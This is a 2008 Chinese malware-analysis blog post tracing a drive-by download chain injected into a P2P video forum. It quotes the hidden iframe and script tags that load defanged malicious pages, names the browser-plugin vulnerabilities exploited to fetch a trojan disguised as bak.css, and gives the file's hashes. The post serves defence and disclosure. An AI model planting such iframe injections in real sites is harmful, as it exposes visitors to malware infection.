某P2P视频软件论坛被挂马Trojan.DL.Win32.Mnless.rq

某P2P视频软件论坛被挂马Trojan.DL.Win32.Mnless.rq

endurer 原创
2008-02-04 第1版

在该坛页面中发现代码：
/---
＜iframe src='hxxp://www.i***p*5*60.com/error.htm' width=100 height=1＞＜/iframe＞
---/

1 hxxp://www.i***p*5*60.com/error.htm
包含代码：
/---
＜iframe width='100' height='100' src='wm/g15.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/dm.htm'＞＜/iframe＞
---/

1.1 hxxp://www.i***p*5*60.com/wm/g15.htm
利用 MS06-014: msadco.dll 严重漏洞 下载 hxxp://cIc**c.9**692*22.com/bak.css

bak.css其实是个PE格式的可执行文件

文件说明符 : D:/test/bak.css
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2008-2-4 12:43:16
修改时间 : 2008-2-4 12:41:18
访问时间 : 2008-2-4 12:43:59
大小 : 8848 字节 8.656 KB
MD5 : 7f5a731244199c7f29623cc1f106b6c4
SHA1: 3E16217D8B2814E152016BCEC5AADE3DF2621AF3
CRC32: 8ee9bc7c

Kaspersky 报为 Trojan-Downloader.Win32.Small.hsh，瑞星报为 Trojan.DL.Win32.Mnless.rq＞＞upx_c

该病毒会释放驱动程序，并替换windows系统文件explorer.exe、ctfmon.exe、internat.exe、conime.exe

1.2 hxxp://www.i***p*5*60.com/wm/dm.htm
输出代码：
/---
＜script language=javascript src=11.js＞＜/script＞
＜iframe style=display:none src="re.htm"＞＜/iframe＞
＜iframe style=display:none src="storm.htm"＞＜/iframe＞
＜iframe style=display:none src="pdg2.htm"＞＜/iframe＞
＜iframe style=display:none src="wo.htm"＞＜/iframe＞
＜iframe width=100 height=0 src=Thunder.htm＞＜/iframe＞
＜iframe width=100 height=0 src=qvod.htm＞＜/iframe＞
---/

1.2.1 hxxp://www.i***p*5*60.com/wm/11.js
输出代码：
/---
＜iframe width='0' height='0' src='g14.htm'＞＜/iframe＞
---/

1.2.1.1 hxxp://www.i***p*5*60.com/wm/g14.htm
内容同 hxxp://www.i***p*5*60.com/wm/g15.htm

1.2.2 hxxp://www.i***p*5*60.com/wm/re.htm
利用RealPlayer漏洞的代码。

1.2.3 hxxp://www.i***p*5*60.com/wm/storm.htm
利用 暴风影音 漏洞 下载 hxxp://down**.h*a**o3**65.org/bak.css

1.2.4 hxxp://www.i***p*5*60.com/wm/pdg2.htm
未能打开

1.2.5 hxxp://www.i***p*5*60.com/wm/wo.htm
利用 联众世界GLChat.ocx 漏洞 下载 hxxp://down**.h*a**o3**65.org/bak.css
hxxp://down**.h*a**o3**65.org/bak.css 与 hxxp://cIc**c.9**692*22.com/bak.css 相同。

1.2.6 hxxp://www.i***p*5*60.com/wm/Thunder.htm
未能打开

1.2.7 利用百度工具条（BaiduBar.Tool）下载 hxxp://cIc**c.9**692*22.com/Baidu1.cab
Baidu1.cab包含文件Baidu.exe，与 bak.css 相同。

1.2.8 hxxp://www.i***p*5*60.com/wm/qvod.htm
未能打开